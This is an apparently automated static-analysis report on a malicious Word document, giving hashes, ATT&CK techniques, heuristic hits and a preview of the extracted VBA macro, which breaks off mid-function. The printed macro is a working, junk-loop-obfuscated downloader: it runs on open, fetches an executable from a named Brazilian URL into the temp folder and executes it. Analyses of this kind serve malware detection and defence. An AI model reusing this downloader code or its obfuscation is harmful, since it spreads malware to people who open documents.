Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b8838f0e345c790…

MALICIOUS

Office (OLE)

68.5 KB Created: 2015-01-19 09:54:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: 526f452d0442c6e2c59d8b0ea50a2222 SHA-1: c34f4e12f402d93aca250e786af6d5b8d17cdafa SHA-256: 7b8838f0e345c7903c1043b64857a88868c82f87ee17a479d466af7e7b69b267
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros that utilize the URLDownloadToFile API to download a file from the URL 'the embedded link'. The 'autoopen' macro is present, indicating it will execute upon opening the document. The presence of URLDownloadToFile and Shell calls within the VBA code strongly suggests the intent to download and execute a second-stage payload.

Heuristics 11

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        pHJdfgfdgf = Shell(oH77vHsdf, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        "URLDownloadToFileA"  (ByVal pCaller As LongPtr, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
     hoFNs0vp oKT4IIAP("aHR0cDovL3ZpdmVyY29tcmVxdWludGUuY29tLmJyL2pzL2Jpbi5leGU="), Environ(oKT4IIAP("VE1Q")) & oKT4IIAP("XEdZSGprc2RmLmV4ZQ==")
  • URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URL
    A VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://vivercomrequinte.com.br/js/bin.exe Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24367 bytes
SHA-256: d19b6a33a9d048b9453327d14c80792d91553a4ea451f4a397d2d3984ddc4583
Detection
ClamAV: No threats found
Obfuscation or payload: likely
145 of 209 identifiers look randomly generated (e.g. 'aHR0cDovL3ZpdmVyY29tcmVxdWludGUuY29tLmJy') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function enV Lib "urlmon" Alias _
    "URLDownloadToFileA"  (ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr) As LongPtr
#Else
    Private Declare Function enV Lib "urlmon" Alias _
     "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
#End If
Private aDecTab(255) As Integer
Sub PNnm5AnA3OU()
 dySN7Af
Dim JdQMsBB As Integer
JdQMsBB = 2060
Do While JdQMsBB < 2060 + 10
JdQMsBB = JdQMsBB + 1: DoEvents
Loop
Dim lnfEhLJs As Integer
lnfEhLJs = 399
Do While lnfEhLJs < 399 + 10
lnfEhLJs = lnfEhLJs + 1: DoEvents
Loop
End Sub
Sub fPafY()
     PNnm5AnA3OU
Dim gySmgVBKLJO As Integer
gySmgVBKLJO = 2397
Do While gySmgVBKLJO < 2397 + 10
gySmgVBKLJO = gySmgVBKLJO + 1: DoEvents
Loop
Dim ISqlOQwDQe As Integer
ISqlOQwDQe = 610
Do While ISqlOQwDQe < 610 + 10
ISqlOQwDQe = ISqlOQwDQe + 1: DoEvents
Loop
End Sub
Sub autoopen()
     PNnm5AnA3OU
Dim TNDjssrvh As Integer
TNDjssrvh = 1341
Do While TNDjssrvh < 1341 + 10
TNDjssrvh = TNDjssrvh + 1: DoEvents
Loop
Dim ZFLfndIDECHs As Integer
ZFLfndIDECHs = 445
Do While ZFLfndIDECHs < 445 + 10
ZFLfndIDECHs = ZFLfndIDECHs + 1: DoEvents
Loop
End Sub
Sub dySN7Af()
 hoFNs0vp oKT4IIAP("aHR0cDovL3ZpdmVyY29tcmVxdWludGUuY29tLmJyL2pzL2Jpbi5leGU="), Environ(oKT4IIAP("VE1Q")) & oKT4IIAP("XEdZSGprc2RmLmV4ZQ==")
Dim ZjeHQqJdYMs As Integer
ZjeHQqJdYMs = 587
Do While ZjeHQqJdYMs < 587 + 10
ZjeHQqJdYMs = ZjeHQqJdYMs + 1: DoEvents
Loop
Dim ivFoocc As Integer
ivFoocc = 1574
Do While ivFoocc < 1574 + 10
ivFoocc = ivFoocc + 1: DoEvents
Loop
End Sub
Function hoFNs0vp(iGHVHJfdg As String, oH77vHsdf As String) As Boolean
    vJHKBJdfkgfg = enV(0&, iGHVHJfdg, oH77vHsdf, 0&, 0&)
Dim oOlkLtKxB As Integer
oOlkLtKxB = 539
Do While oOlkLtKxB < 539 + 10
oOlkLtKxB = oOlkLtKxB + 1: DoEvents
Loop
Dim pJArEOxxl As Integer
pJArEOxxl = 2282
Do While pJArEOxxl < 2282 + 10
pJArEOxxl = pJArEOxxl + 1: DoEvents
Loop
   Dim pHJdfgfdgf
Dim YxMEpQ As Integer
YxMEpQ = 1408
Do While YxMEpQ < 1408 + 10
YxMEpQ = YxMEpQ + 1: DoEvents
Loop
Dim yxNDGxQzecKy As Integer
yxNDGxQzecKy = 1941
Do While yxNDGxQzecKy < 1941 + 10
yxNDGxQzecKy = yxNDGxQzecKy + 1: DoEvents
Loop
    pHJdfgfdgf = Shell(oH77vHsdf, 1)
Dim ABzEqjq As Integer
ABzEqjq = 1502
Do While ABzEqjq < 1502 + 10
ABzEqjq = ABzEqjq + 1: DoEvents
Loop
Dim oYjplwNcklv As Integer
oYjplwNcklv = 2116
Do While oYjplwNcklv < 2116 + 10
oYjplwNcklv = oYjplwNcklv + 1: DoEvents
Loop
End Function

Public Function oKT4IIAP(sEncoded As String) As String
Dim cPcL1O5Ym As String
Dim wqIFdyQd As Integer
wqIFdyQd = 1601
Do While wqIFdyQd < 1601 + 10
wqIFdyQd = wqIFdyQd + 1: DoEvents
Loop
Dim sVYEKemb As Integer
sVYEKemb = 2119
Do While sVYEKemb < 2119 + 10
sVYEKemb = sVYEKemb + 1: DoEvents
Loop
Dim d(3) As Byte
Dim BtRhaJsu As Integer
BtRhaJsu = 856
Do While BtRhaJsu < 856 + 10
BtRhaJsu = BtRhaJsu + 1: DoEvents
Loop
Dim cQlcSgqZ As Integer
cQlcSgqZ = 1596
Do While cQlcSgqZ < 1596 + 10
cQlcSgqZ = cQlcSgqZ + 1: DoEvents
Loop
Dim C As Byte
Dim iKPdnIVJvQt As Integer
iKPdnIVJvQt = 1948
Do While iKPdnIVJvQt < 1948 + 10
iKPdnIVJvQt = iKPdnIVJvQt + 1: DoEvents
Loop
Dim wGMIUlmHJSq As Integer
wGMIUlmHJSq = 1484
Do While wGMIUlmHJSq < 1484 + 10
wGMIUlmHJSq = wGMIUlmHJSq + 1: DoEvents
Loop
Dim di As Integer
Dim hBGOEkttsTahLZYos As Integer
hBGOEkttsTahLZYos = 348
Do While hBGOEkttsTahLZYos < 348 + 10
hBGOEkttsTahLZYos = hBGOEkttsTahLZYos + 1: DoEvents
Loop
Dim rwtEHQstCMHATnGBqzAyDoho As Integer
rwtEHQstCMHATnGBqzAyDoho = 2067
Do While rwtEHQstCMHATnGBqzAyDoho < 2067 + 10
rwtEHQstCMHATnGBqzAyDoho = rwtEHQstCMHATnGBqzAyDoho + 1: DoEvents
Loop
Dim i As Long
Dim ucQlcSgq As Integer
ucQlcSgq = 1763
Do While ucQlcSgq < 1763 + 10
ucQlcSgq = ucQlcSgq + 1: DoEvents
Loop
Dim JjJUOheAQnjvLbwkt As Integer
JjJUOheAQnjvLbwkt = 247
Do While JjJUOheAQnjvLbwkt < 247 + 10
JjJUOheAQnjvLbwkt = JjJUOheAQnjvLbwkt + 1: DoEvents
Loop
Dim kqIPhE As Long
Dim eTzuvtykdkOp As Integer
eTzuvtykdkOp = 2183
Do While eTzuvtykdkOp < 2183 + 10
eTzuvtykdkOp = eTzuvtykdkOp + 1: DoEvents
Loop
Dim oCzivU As Integer
oCzivU = 1962
Do While oCzivU < 1962 + 10
oCzivU = oCzivU + 1: DoEvents
Loop
Dim Aef8Epoff As Long
Dim JeTKZjRRErSo As Integer
JeTKZjRRErSo = 711
Do While JeTKZjRRErSo < 711 + 10
JeTKZjRRErSo = JeTKZjRRErSo + 1: DoEvents
Loop
Dim agcnESbcmJE As Integer
agcnESbcmJE = 1095
Do While agcnESbcmJE < 1095 + 10
agcnESbcmJE = agcnESbcmJE + 1: DoEvents
Loop
kqIPhE = Len(sEncoded)
Dim lMjiJrIv As Integer
lMjiJrIv = 655
Do While lMjiJrIv < 655 + 10
lMjiJrIv = lMjiJrIv + 1: DoEvents
Loop
Dim JUaQi As Integer
JUaQi = 455
Do While JUaQi < 455 + 10
JUaQi = JUaQi + 1: DoEvents
Loop
cPcL1O5Ym = String((kqIPhE \ 4) * 3, " ")
Dim sUZnxSgSFhCB As Integer
sUZnxSgSFhCB = 593
Do While sUZnxSgSFhCB < 593 + 10
sUZnxSgSFhCB = sUZnxSgSFhCB + 1: DoEvents
Loop
Dim pqzYEixekDLB As Integer
pqzYEixekDLB = 2086
Do While pqzYEixekDLB < 2086 + 10
pqzYEixekDLB = pqzYEixekDLB + 1: DoEvents
Loop
Aef8Epoff = 0
Dim HJqKP As Integer
HJqKP = 176
Do While HJqKP < 176 + 10
HJqKP = HJqKP + 1: DoEvents
Loop
Dim kpaSaEQhknf As Integer
kpaSaEQhknf = 560
Do While kpaSaEQhknf < 560 + 10
kpaSaEQhknf = kpaSaEQhknf + 1: DoEvents
Loop
di = 0
Dim wgNQlNRgc As Integer
wgNQlNRgc = 857
Do While wgNQlNRgc < 857 + 10
wgNQlNRgc = wgNQlNRgc + 1: DoEvents
Loop
Dim HBTQnIhnjv As Integer
HBTQnIhnjv = 1775
Do While HBTQnIhnjv < 1775 + 10
HBTQnIhnjv = HBTQnIhnjv + 1: DoEvents
Loop
Call WyfUTJJ
Dim ZqQqBvNxTOUQctHPQb As Integer
ZqQqBvNxTOUQctHPQb = 732
Do While ZqQqBvNxTOUQctHPQb < 732 + 10
ZqQqBvNxTOUQctHPQb = ZqQqBvNxTOUQctHPQb + 1: DoEvents
Loop
Dim VazolfuQnLRNZc As Integer
VazolfuQnLRNZc = 2031
Do While VazolfuQnLRNZc < 2031 + 10
VazolfuQnLRNZc = VazolfuQnLRNZc + 1: DoEvents
Loop
' Read in each char in trun
Dim tUoTsJ As Integer
tUoTsJ = 686
Do While tUoTsJ < 686 + 10
tUoTsJ = tUoTsJ + 1: DoEvents
Loop
Dim TRQIBInzzOSV As Integer
TRQIBInzzOSV = 1037
Do While TRQIBInzzOSV < 1037 + 10
TRQIBInzzOSV = TRQIBInzzOSV + 1: DoEvents
Loop
For i = 1 To Len(sEncoded)
Dim mavlcqAjj As Integer
mavlcqAjj = 1964
Do While mavlcqAjj < 1964 + 10
mavlcqAjj = mavlcqAjj + 1: DoEvents
Loop
Dim SsSeYqnKgEw As Integer
SsSeYqnKgEw = 1049
Do While SsSeYqnKgEw < 1049 + 10
SsSeYqnKgEw = SsSeYqnKgEw + 1: DoEvents
Loop
C = CByte(Asc(Mid(sEncoded, i, 1)))
Dim hdoFG As Integer
hdoFG = 1315
Do While hdoFG < 1315 + 10
hdoFG = hdoFG + 1: DoEvents
Loop
Dim YPMYpDZMV As Integer
YPMYpDZMV = 1951
Do While YPMYpDZMV < 1951 + 10
YPMYpDZMV = YPMYpDZMV + 1: DoEvents
Loop
C = aDecTab(C)
Dim lGHQoV As Integer
lGHQoV = 1195
Do While lGHQoV < 1195 + 10
lGHQoV = lGHQoV + 1: DoEvents
Loop
Dim qpuQYfJ As Integer
qpuQYfJ = 2130
Do While qpuQYfJ < 2130 + 10
qpuQYfJ = qpuQYfJ + 1: DoEvents
Loop
If C >= 0 Then
Dim LOGfInQSHcJQhPPDpQnzN As Integer
LOGfInQSHcJQhPPDpQnzN = 1381
Do While LOGfInQSHcJQhPPDpQnzN < 1381 + 10
LOGfInQSHcJQhPPDpQnzN = LOGfInQSHcJQhPPDpQnzN + 1: DoEvents
Loop
Dim FYGdMYealC As Integer
FYGdMYealC = 1956
Do While FYGdMYealC < 1956 + 10
FYGdMYealC = FYGdMYealC + 1: DoEvents
Loop
d(di) = C
Dim dkOcbr As Integer
dkOcbr = 1923
Do While dkOcbr < 1923 + 10
dkOcbr = dkOcbr + 1: DoEvents
Loop
Dim cfVvYDjYsiZnxgg As Integer
cfVvYDjYsiZnxgg = 248
Do While cfVvYDjYsiZnxgg < 248 + 10
cfVvYDjYsiZnxgg = cfVvYDjYsiZnxgg + 1: DoEvents
Loop
di = di + 1
Dim IaLPqcVolHdBuqBS As Integer
IaLPqcVolHdBuqBS = 2296
Do While IaLPqcVolHdBuqBS < 2296 + 10
IaLPqcVolHdBuqBS = IaLPqcVolHdBuqBS + 1: DoEvents
Loop
Dim ajHoRhNTnvlQ As Integer
ajHoRhNTnvlQ = 1380
Do While ajHoRhNTnvlQ < 1380 + 10
ajHoRhNTnvlQ = ajHoRhNTnvlQ + 1: DoEvents
Loop
If di = 4 Then
Dim pRlQo As Integer
pRlQo = 91
Do While pRlQo < 91 + 10
pRlQo = pRlQo + 1: DoEvents
Loop
Dim qqdPqMaoUn As Integer
qqdPqMaoUn = 2003
Do While qqdPqMaoUn < 2003 + 10
qqdPqMaoUn = qqdPqMaoUn + 1: DoEvents
Loop
Mid$(cPcL1O5Ym, Aef8Epoff + 1, 3) = NBdOLd(d)
Dim zbvayPq As Integer
zbvayPq = 1209
Do While zbvayPq < 1209 + 10
zbvayPq = zbvayPq + 1: DoEvents
Loop
Dim FJMEdGl As Integer
FJMEdGl = 2376
Do While FJMEdGl < 2376 + 10
FJMEdGl = FJMEdGl + 1: DoEvents
Loop
Aef8Epoff = Aef8Epoff + 3
Dim Zptvn As Integer
Zptvn = 859
Do While Zptvn < 859 + 10
Zptvn = Zptvn + 1: DoEvents
Loop
Dim fVMalTSGsT As Integer
fVMalTSGsT = 1471
Do While fVMalTSGsT < 1471 + 10
fVMalTSGsT = fVMalTSGsT + 1: DoEvents
Loop
If d(3) = 64 Then
Dim vzNKtGggHPc As Integer
vzNKtGggHPc = 580
Do While vzNKtGggHPc < 580 + 10
vzNKtGggHPc = vzNKtGggHPc + 1: DoEvents
Loop
Dim qEOxxkQyT As Integer
qEOxxkQyT = 1827
Do While qEOxxkQyT < 1827 + 10
qEOxxkQyT = qEOxxkQyT + 1: DoEvents
Loop
cPcL1O5Ym = Left(cPcL1O5Ym, Len(cPcL1O5Ym) - 1)
Dim RmOSheMazzbvYrQvM As Integer
RmOSheMazzbvYrQvM = 2401
Do While RmOSheMazzbvYrQvM < 2401 + 10
RmOSheMazzbvYrQvM = RmOSheMazzbvYrQvM + 1: DoEvents
Loop
Dim CQbJJwjKht As Integer
CQbJJwjKht = 747
Do While CQbJJwjKht < 747 + 10
CQbJJwjKht = CQbJJwjKht + 1: DoEvents
Loop
Aef8Epoff = Aef8Epoff - 1
Dim NNMQCIPhHGQ As Integer
NNMQCIPhHGQ = 474
Do While NNMQCIPhHGQ < 474 + 10
NNMQCIPhHGQ = NNMQCIPhHGQ + 1: DoEvents
Loop
Dim HdqdPrNL As Integer
HdqdPrNL = 304
Do While HdqdPrNL < 304 + 10
HdqdPrNL = HdqdPrNL + 1: DoEvents
Loop
End If
Dim KiOsHovNV As Integer
KiOsHovNV = 785
Do While KiOsHovNV < 785 + 10
KiOsHovNV = KiOsHovNV + 1: DoEvents
Loop
Dim EzdeKf As Integer
EzdeKf = 1684
Do While EzdeKf < 1684 + 10
EzdeKf = EzdeKf + 1: DoEvents
Loop
If d(2) = 64 Then
Dim IoYTIdJYiQQDqQnAOw As Integer
IoYTIdJYiQQDqQnAOw = 1485
Do While IoYTIdJYiQQDqQnAOw < 1485 + 10
IoYTIdJYiQQDqQnAOw = IoYTIdJYiQQDqQnAOw + 1: DoEvents
Loop
Dim KiAaA As Integer
KiAaA = 1202
Do While KiAaA < 1202 + 10
KiAaA = KiAaA + 1: DoEvents
Loop
cPcL1O5Ym = Left(cPcL1O5Ym, Len(cPcL1O5Ym) - 1)
Dim QEVHMmaYRk As Integer
QEVHMmaYRk = 1194
Do While QEVHMmaYRk < 1194 + 10
QEVHMmaYRk = QEVHMmaYRk + 1: DoEvents
Loop
Dim nQhnjvLbikt As Integer
nQhnjvLbikt = 311
Do While nQhnjvLbikt < 311 + 10
nQhnjvLbikt = nQhnjvLbikt + 1: DoEvents
Loop
Aef8Epoff = Aef8Epoff - 1
Dim zcJbMQqQc As Integer
zcJbMQqQc = 1893
Do While zcJbMQqQc < 1893 + 10
zcJbMQqQc = zcJbMQqQc + 1: DoEvents
Loop
Dim VDsMCtHRAAnn As Integer
VDsMCtHRAAnn = 958
Do While VDsMCtHRAAnn < 958 + 10
VDsMCtHRAAnn = VDsMCtHRAAnn + 1: DoEvents
Loop
End If
Dim AwHZoJxGeZ As Integer
AwHZoJxGeZ = 324
Do While AwHZoJxGeZ < 324 + 10
AwHZoJxGeZ = AwHZoJxGeZ + 1: DoEvents
Loop
Dim phGjNyt As Integer
phGjNyt = 114
Do While phGjNyt < 114 + 10
phGjNyt = phGjNyt + 1: DoEvents
Loop
di = 0
Dim nMMox As Integer
nMMox = 1032
Do While nMMox < 1032 + 10
nMMox = nMMox + 1: DoEvents
Loop
Dim uEzdsL As Integer
uEzdsL = 1375
Do While uEzdsL < 1375 + 10
uEzdsL = uEzdsL + 1: DoEvents
Loop
End If
Dim QRczuYaFMg As Integer
QRczuYaFMg = 841
Do While QRczuYaFMg < 841 + 10
QRczuYaFMg = QRczuYaFMg + 1: DoEvents
Loop
Dim NPZjdGQ As Integer
NPZjdGQ = 149
Do While NPZjdGQ < 149 + 10
NPZjdGQ = NPZjdGQ + 1: DoEvents
Loop
End If
Dim vSNrta As Integer
vSNrta = 2282
Do While vSNrta < 2282 + 10
vSNrta = vSNrta + 1: DoEvents
Loop
Dim OidRxGHF As Integer
OidRxGHF = 1744
Do While OidRxGHF < 1744 + 10
OidRxGHF = OidRxGHF + 1: DoEvents
Loop
Next i
Dim BBooPYlMgLkNBztLIfOa As Integer
BBooPYlMgLkNBztLIfOa = 2375
Do While BBooPYlMgLkNBztLIfOa < 2375 + 10
BBooPYlMgLkNBztLIfOa = BBooPYlMgLkNBztLIfOa + 1: DoEvents
Loop
Dim TIoxywBZfm As Integer
TIoxywBZfm = 413
Do While TIoxywBZfm < 413 + 10
TIoxywBZfm = TIoxywBZfm + 1: DoEvents
Loop
 oKT4IIAP = cPcL1O5Ym
Dim hglVOV As Integer
hglVOV = 225
Do While hglVOV < 225 + 10
hglVOV = hglVOV + 1: DoEvents
Loop
Dim RQhknfESL As Integer
RQhknfESL = 2168
Do While RQhknfESL < 2168 + 10
RQhknfESL = RQhknfESL + 1: DoEvents
Loop
End Function
Private Function NBdOLd(d() As Byte) As String
Dim D4JRvGmLt As String
Dim PsQHDrM As Integer
PsQHDrM = 146
Do While PsQHDrM < 146 + 10
PsQHDrM = PsQHDrM + 1: DoEvents
Loop
Dim mqEAkxQQxG As Integer
mqEAkxQQxG = 876
Do While mqEAkxQQxG < 876 + 10
mqEAkxQQxG = mqEAkxQQxG + 1: DoEvents
Loop
Dim C As Long
Dim xTsyu As Integer
xTsyu = 480
Do While xTsyu < 480 + 10
xTsyu = xTsyu + 1: DoEvents
Loop
Dim eRndTisb As Integer
eRndTisb = 1376
Do While eRndTisb < 1376 + 10
eRndTisb = eRndTisb + 1: DoEvents
Loop
D4JRvGmLt = vbNullString
Dim utVDUGKkKVPi As Integer
utVDUGKkKVPi = 1759
Do While utVDUGKkKVPi < 1759 + 10
utVDUGKkKVPi = utVDUGKkKVPi + 1: DoEvents
Loop
Dim GTvOuSkw As Integer
GTvOuSkw = 2053
Do While GTvOuSkw < 2053 + 10
GTvOuSkw = GTvOuSkw + 1: DoEvents
Loop
C = gmhjMi(d(0)) Or (RgmEL5K(d(1)) And &H3)
Dim QwLEo As Integer
QwLEo = 1297
Do While QwLEo < 1297 + 10
QwLEo = QwLEo + 1: DoEvents
Loop
Dim SvbYGuPF As Integer
SvbYGuPF = 1881
Do While SvbYGuPF < 1881 + 10
SvbYGuPF = SvbYGuPF + 1: DoEvents
Loop
D4JRvGmLt = D4JRvGmLt & Chr$(C)
Dim dswzr As Integer
dswzr = 2422
Do While dswzr < 2422 + 10
dswzr = dswzr + 1: DoEvents
Loop
Dim MsPiuifZ As Integer
MsPiuifZ = 1981
Do While MsPiuifZ < 1981 + 10
MsPiuifZ = MsPiuifZ + 1: DoEvents
Loop
C = RpXvuVUL(d(1) And &HF) Or (clSq4EnJFIl(d(2)) And &HF)
Dim UjFsCaUyz As Integer
UjFsCaUyz = 1789
Do While UjFsCaUyz < 1789 + 10
UjFsCaUyz = UjFsCaUyz + 1: DoEvents
Loop
Dim COCztL As Integer
COCztL = 789
Do While COCztL < 789 + 10
COCztL = COCztL + 1: DoEvents
Loop
D4JRvGmLt = D4JRvGmLt & Chr$(C)
Dim BxJbpKyHfa As Integer
BxJbpKyHfa = 126
Do While BxJbpKyHfa < 126 + 10
BxJbpKyHfa = BxJbpKyHfa + 1: DoEvents
Loop
Dim ityvGYZu As Integer
ityvGYZu = 1299
Do While ityvGYZu < 1299 + 10
ityvGYZu = ityvGYZu + 1: DoEvents
Loop
C = pPVPR(d(2) And &H3) Or d(3)
Dim TuFzROmH As Integer
TuFzROmH = 312
Do While TuFzROmH < 312 + 10
TuFzROmH = TuFzROmH + 1: DoEvents
Loop
Dim ajGoRhNTnvlQLKPAtAfFrH As Integer
ajGoRhNTnvlQLKPAtAfFrH = 153
Do While ajGoRhNTnvlQLKPAtAfFrH < 153 + 10
ajGoRhNTnvlQLKPAtAfFrH = ajGoRhNTnvlQLKPAtAfFrH + 1: DoEvents
Loop
D4JRvGmLt = D4JRvGmLt & Chr$(C)
Dim UTkoqiHQOz As Integer
UTkoqiHQOz = 792
Do While UTkoqiHQOz < 792 + 10
UTkoqiHQOz = UTkoqiHQOz + 1: DoEvents
Loop
Dim zjiVHjF As Integer
zjiVHjF = 1310
Do While zjiVHjF < 1310 + 10
zjiVHjF = zjiVHjF + 1: DoEvents
Loop
 NBdOLd = D4JRvGmLt
Dim VFoqK As Integer
VFoqK = 753
Do While VFoqK < 753 + 10
VFoqK = VFoqK + 1: DoEvents
Loop
Dim hYOcmUUIuVsSARDHiVSM As Integer
hYOcmUUIuVsSARDHiVSM = 702
Do While hYOcmUUIuVsSARDHiVSM < 702 + 10
hYOcmUUIuVsSARDHiVSM = hYOcmUUIuVsSARDHiVSM + 1: DoEvents
Loop
End Function
Private Function WyfUTJJ()
Dim t As Integer
Dim IiiIReGa As Integer
IiiIReGa = 600
Do While IiiIReGa < 600 + 10
IiiIReGa = IiiIReGa + 1: DoEvents
Loop
Dim JsrfQsOb As Integer
JsrfQsOb = 1144
Do While JsrfQsOb < 1144 + 10
JsrfQsOb = JsrfQsOb + 1: DoEvents
Loop
Dim C As Integer
Dim QUjfOcBdlxatZwOo As Integer
QUjfOcBdlxatZwOo = 2012
Do While QUjfOcBdlxatZwOo < 2012 + 10
QUjfOcBdlxatZwOo = QUjfOcBdlxatZwOo + 1: DoEvents
Loop
Dim YMJDVSpL As Integer
YMJDVSpL = 1810
Do While YMJDVSpL < 1810 + 10
YMJDVSpL = YMJDVSpL + 1: DoEvents
Loop
For C = 0 To 255
Dim MlCdCN As Integer
MlCdCN = 1223
Do While MlCdCN < 1223 + 10
MlCdCN = MlCdCN + 1: DoEvents
Loop
Dim LaGZKOod As Integer
LaGZKOod = 992
Do While LaGZKOod < 992 + 10
LaGZKOod = LaGZKOod + 1: DoEvents
Loop
aDecTab(C) = -1
Dim rxtEVk As Integer
rxtEVk = 561
Do While rxtEVk < 561 + 10
rxtEVk = rxtEVk + 1: DoEvents
Loop
Dim NHaQtOotqBE As Integer
NHaQtOotqBE = 1713
Do While NHaQtOotqBE < 1713 + 10
NHaQtOotqBE = NHaQtOotqBE + 1: DoEvents
Loop
Next
Dim PLYpDLMVto As Integer
PLYpDLMVto = 1033
Do While PLYpDLMVto < 1033 + 10
PLYpDLMVto = PLYpDLMVto + 1: DoEvents
Loop
Dim YnIJSdYBQkDQ As Integer
YnIJSdYBQkDQ = 909
Do While YnIJSdYBQkDQ < 909 + 10
YnIJSdYBQkDQ = YnIJSdYBQkDQ + 1: DoEvents
Loop
t = 0
Dim VefpMHkmSZ As Integer
VefpMHkmSZ = 1032
Do While VefpMHkmSZ < 1032 + 10
VefpMHkmSZ = VefpMHkmSZ + 1: DoEvents
Loop
Dim AtAfsrHLNFf As Integer
AtAfsrHLNFf = 1544
Do While AtAfsrHLNFf < 1544 + 10
AtAfsrHLNFf = AtAfsrHLNFf + 1: DoEvents
Loop
For C = Asc("A") To Asc("Z")
Dim IGodx As Integer
IGodx = 2194
Do While IGodx < 2194 + 10
IGodx = IGodx + 1: DoEvents
Loop
Dim ehZxM As Integer
ehZxM = 330
Do While ehZxM < 330 + 10
ehZxM = ehZxM + 1: DoEvents
Loop
aDecTab(C) = t
Dim KADvTxca As Integer
KADvTxca = 693
Do While KADvTxca < 693 + 10
KADvTxca = KADvTxca + 1: DoEvents
Loop
Dim VwHBTQnI As Integer
VwHBTQnI = 7
Do While VwHBTQnI < 7 + 10
VwHBTQnI = VwHBTQnI + 1: DoEvents
Loop
t = t + 1
Dim xTDOUQctu As Integer
xTDOUQctu = 1437
Do While xTDOUQctu < 1437 + 10
xTDOUQctu = xTDOUQctu + 1: DoEvents
Loop
Dim bvAIyennrNUcGT As Integer
bvAIyennrNUcGT = 90
Do While bvAIyennrNUcGT < 90 + 10
bvAIyennrNUcGT = bvAIyennrNUcGT + 1: DoEvents
Loop
Next
Dim IuyZMKETqLkqmyBQmnw As Integer
IuyZMKETqLkqmyBQmnw = 882
Do While IuyZMKETqLkqmyBQmnw < 882 + 10
IuyZMKETqLkqmyBQmnw = IuyZMKETqLkqmyBQmnw + 1: DoEvents
Loop
Dim OIbJhQbhdFUcenKF As Integer
OIbJhQbhdFUcenKF = 2318
Do While OIbJhQbhdFUcenKF < 2318 + 10
OIbJhQbhdFUcenKF = OIbJhQbhdFUcenKF + 1: DoEvents
Loop
For C = Asc("a") To Asc("z")
Dim NLQBuBgtsIL As Integer
NLQBuBgtsIL = 1086
Do While NLQBuBgtsIL < 1086 + 10
NLQBuBgtsIL = NLQBuBgtsIL + 1: DoEvents
Loop
Dim bSrUzxfTofVj As Integer
bSrUzxfTofVj = 1316
Do While bSrUzxfTofVj < 1316 + 10
bSrUzxfTofVj = bSrUzxfTofVj + 1: DoEvents
Loop
aDecTab(C) = t
Dim DKpCBRUYPp As Integer
DKpCBRUYPp = 2397
Do While DKpCBRUYPp < 2397 + 10
DKpCBRUYPp = DKpCBRUYPp + 1: DoEvents
Loop
Dim yQdQNaQueouqCST As Integer
yQdQNaQueouqCST = 1426
Do While yQdQNaQueouqCST < 1426 + 10
yQdQNaQueouqCST = yQdQNaQueouqCST + 1: DoEvents
Loop
t = t + 1
Dim MZpEaNQupSU As Integer
MZpEaNQupSU = 2072
Do While MZpEaNQupSU < 2072 + 10
MZpEaNQupSU = MZpEaNQupSU + 1: DoEvents
Loop
Dim HnijhmYQYCd As Integer
HnijhmYQYCd = 2390
Do While HnijhmYQYCd < 2390 + 10
HnijhmYQYCd = HnijhmYQYCd + 1: DoEvents
Loop
Next
Dim UyLKbfhZyNFYavYcqm As Integer
UyLKbfhZyNFYavYcqm = 2055
Do While UyLKbfhZyNFYavYcqm < 2055 + 10
UyLKbfhZyNFYavYcqm = UyLKbfhZyNFYavYcqm + 1: DoEvents
Loop
Dim SHcRIQhPPCpQ As Integer
SHcRIQhPPCpQ = 1394
Do While SHcRIQhPPCpQ < 1394 + 10
SHcRIQhPPCpQ = SHcRIQhPPCpQ + 1: DoEvents
Loop
For C = Asc("0") To Asc("9")
Dim UlorjHQPzikE As Integer
UlorjHQPzikE = 1179
